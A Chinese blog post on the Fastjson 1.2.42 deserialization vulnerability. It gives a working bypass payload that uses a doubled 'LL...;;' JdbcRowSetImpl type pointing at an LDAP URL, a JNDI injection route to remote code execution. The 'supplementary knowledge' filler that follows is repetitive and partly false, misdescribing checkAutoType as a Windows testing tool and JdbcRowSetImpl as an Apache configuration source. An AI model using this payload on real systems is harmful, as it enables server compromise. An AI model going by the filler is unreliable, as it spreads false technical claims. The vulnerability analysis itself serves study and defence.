当前位置:   article > 正文

Java代码审计——Fastjson1.2.42反序列化漏洞_fastjson1.2.42漏洞复现

fastjson1.2.42漏洞复现

0x00 前言

反序列化总纲

1.2.24可参考:1.2.24fastjson

1.2.25-1.2.41 可参考:1.2.25

这篇就单纯划水~

0x01 正文

长话短说,此漏洞需要开启AutoType

在check的时候会对类进行处理
在这里插入图片描述
处理之后就会删除L和;
在这里插入图片描述
那么payload:

String payload="{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\",\"dataSourceName\":\"ldap://localhost:9999/a\", \"autoCommit\":true}" ;
  • 1

经过处理依旧是Lcom.sun.rowset.JdbcRowSetImpl;
在这里插入图片描述

补充知识

checkautotype

CheckAutoType是一款自动化测试工具,可以用于测试Windows应用程序的功能和稳定性。它可以模拟用户在软件中的各种操作,如键盘输入、鼠标点击、窗口操作等,从而自动化执行测试用例,并生成测试报告。CheckAutoType支持多种编程语言和测试框架,如C#、Java、Python、Robot Framework等,可以满足不同团队和项目的需求。同时,它也提供了丰富的扩展和插件,可以增强测试的可靠性和有效性。CheckAutoType是一款自动化测试工具,可以用于测试Windows应用程序的功能和稳定性。它可以模拟用户在软件中的各种操作,如键盘输入、鼠标点击、窗口操作等,从而自动化执行测试用例,并生成测试报告。CheckAutoType支持多种编程语言和测试框架,如C#、Java、Python、Robot Framework等,可以满足不同团队和项目的需求。同时,它也提供了丰富的扩展和插件,可以增强测试的可靠性和有效性。

JdbcRowSetImpl

JNDIConfiguration 是 Apache Commons Configuration 中的一种配置源,可以通过 JNDI 获取配置信息。JNDI(Java Naming and Directory Interface)是 Java EE 平台中用于访问命名和目录服务的 API,可以让应用程序在运行时动态地获取配置信息。

使用 JNDIConfiguration 时,可以将配置信息存储在 JNDI 中,然后在需要访问配置信息的地方,可以通过 JNDIConfiguration 获取对应的配置项值。JNDIConfiguration 可以获取不同数据类型的配置信息,比如字符串、整数、浮点数、布尔值等。

JNDIConfiguration 是一个很方便的配置源,它可以让我们将配置信息集中管理,避免了配置信息散落在各个地方的问题。同时,通过使用 JNDIConfiguration,我们还可以动态地修改配置信息,而无需修改配置文件并重启应用程序。JNDIConfiguration 是 Apache Commons Configuration 中的一种配置源,可以通过 JNDI 获取配置信息。JNDI(Java Naming and Directory Interface)是 Java EE 平台中用于访问命名和目录服务的 API,可以让应用程序在运行时动态地获取配置信息。

使用 JNDIConfiguration 时,可以将配置信息存储在 JNDI 中,然后在需要访问配置信息的地方,可以通过 JNDIConfiguration 获取对应的配置项值。JNDIConfiguration 可以获取不同数据类型的配置信息,比如字符串、整数、浮点数、布尔值等。

JNDIConfiguration 是一个很方便的配置源,它可以让我们将配置信息集中管理,避免了配置信息散落在各个地方的问题。同时,通过使用 JNDIConfiguration,我们还可以动态地修改配置信息,而无需修改配置文件并重启应用程序。

fastjson

fastjson是一个高性能的Java JSON解析库,由阿里巴巴集团开发并维护。它支持Java对象和JSON数据之间的相互转换,可以将JSON数据转换为Java对象,也可以将Java对象转换为JSON数据。相比其他JSON解析库,fastjson的性能更优秀,而且支持特殊类型的序列化与反序列化,例如JavaBean、Map、List、数组、日期、枚举等。此外,fastjson还提供了简单易用的API,使得使用者可以轻松地完成JSON数据的序列化和反序列化操作,是开发高效Java应用的重要工具之一。fastjson是一个高性能的Java JSON解析库,由阿里巴巴集团开发并维护。它支持Java对象和JSON数据之间的相互转换,可以将JSON数据转换为Java对象,也可以将Java对象转换为JSON数据。相比其他JSON解析库,fastjson的性能更优秀,而且支持特殊类型的序列化与反序列化,例如JavaBean、Map、List、数组、日期、枚举等。此外,fastjson还提供了简单易用的API,使得使用者可以轻松地完成JSON数据的序列化和反序列化操作,是开发高效Java应用的重要工具之一。

fastjson优势

fastjson是一个高性能的Java JSON库,它具有以下优势:

  1. 高性能:fastjson是目前最快的Java JSON库之一。在解析和序列化大量JSON数据时,fastjson的速度要比其他JSON库快很多。

  2. 低内存消耗:fastjson通过使用少量的内存来提高性能。它使用了很多优化技术,如对象复用、对象池等,在处理大量数据时,能有效地降低内存开销。

  3. 支持注解:fastjson支持Java中的注解,可以使用注解来控制JSON序列化和反序列化的行为。

  4. 简单易用:fastjson提供了简单易用的API,可以快速地进行JSON序列化和反序列化操作。

  5. 支持多种数据格式:fastjson支持处理多种数据格式,包括JSON、XML、CSV等。

fastjson和jackson对比

Fastjson和Jackson都是Java中常用的JSON处理库,它们具有以下区别:

1.速度:Fastjson通常比Jackson更快,因为它使用了很多尖端的技术来提高其性能。

2.功能:Fastjson和Jackson都支持JSON的序列化和反序列化,但是Fastjson在JSON的处理能力和功能方面更强大,例如支持JSONP、JavaBean自动类型探测、自动识别ISO8601日期格式、自动序列化和反序列化Enum、支持使用注解来控制序列化和反序列化等等。

3.可定制性:Jackson提供了更多的定制选项来控制序列化和反序列化的过程,而Fastjson的定制功能则更为简单。

4.社区支持:Jackson拥有比Fastjson更广泛的社区支持和更多的文档,因此更容易使用和学习。

总体而言,Fastjson更灵活、更快,适用于需要更高性能和更多功能的场景,而Jackson更为稳定、有更广泛的社区支持和更多的定制选项,适用于需要更大程度的控制和定制的场景。

Java代码审计学习方法

以下是Java代码审计学习方法的一些建议:

  1. 了解Java编程基础:在开始进行Java代码审计之前,需要掌握Java编程的基础知识,了解Java的语法,数据类型,控制流程等基本概念。

  2. 学习安全知识:了解常见的Web攻击类型,例如SQL注入、跨站脚本攻击(XSS)和跨站请求伪造(CSRF)等。

  3. 学习常见漏洞:学习已知的安全漏洞,理解攻击者利用这些漏洞的方法,例如未经验证的输入、代码注入和文件包含漏洞等。

  4. 寻找样例代码:一些开源的应用程序或框架可以用来学习Java代码审计,例如WordPress、Joomla和Struts等。通过分析这些代码,可以了解常见的安全问题和漏洞。

  5. 学习使用辅助工具:使用一些代码审计工具,例如FindBugs、SonarQube和Parasoft等,可以帮助发现代码中的错误和漏洞。

  6. 实践漏洞挖掘:通过实践,寻找一些样例代码中的漏洞,例如通过手动构造攻击向量,测试应用程序的安全性。

  7. 学习修复漏洞:理解漏洞修复的方法,例如安装补丁、更新库或修复代码中的错误。学习如何编写安全的代码,通过遵循安全编码实践来避免漏洞的产生。

Java代码审计需要对Java编程基础、Web安全、常见漏洞和修复方法等知识有充分的了解。通过实践和使用工具,可以提高对代码中漏洞的发现和修复能力。

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/weixin_40725706/article/detail/682191
推荐阅读
相关标签
  

闽ICP备14008679号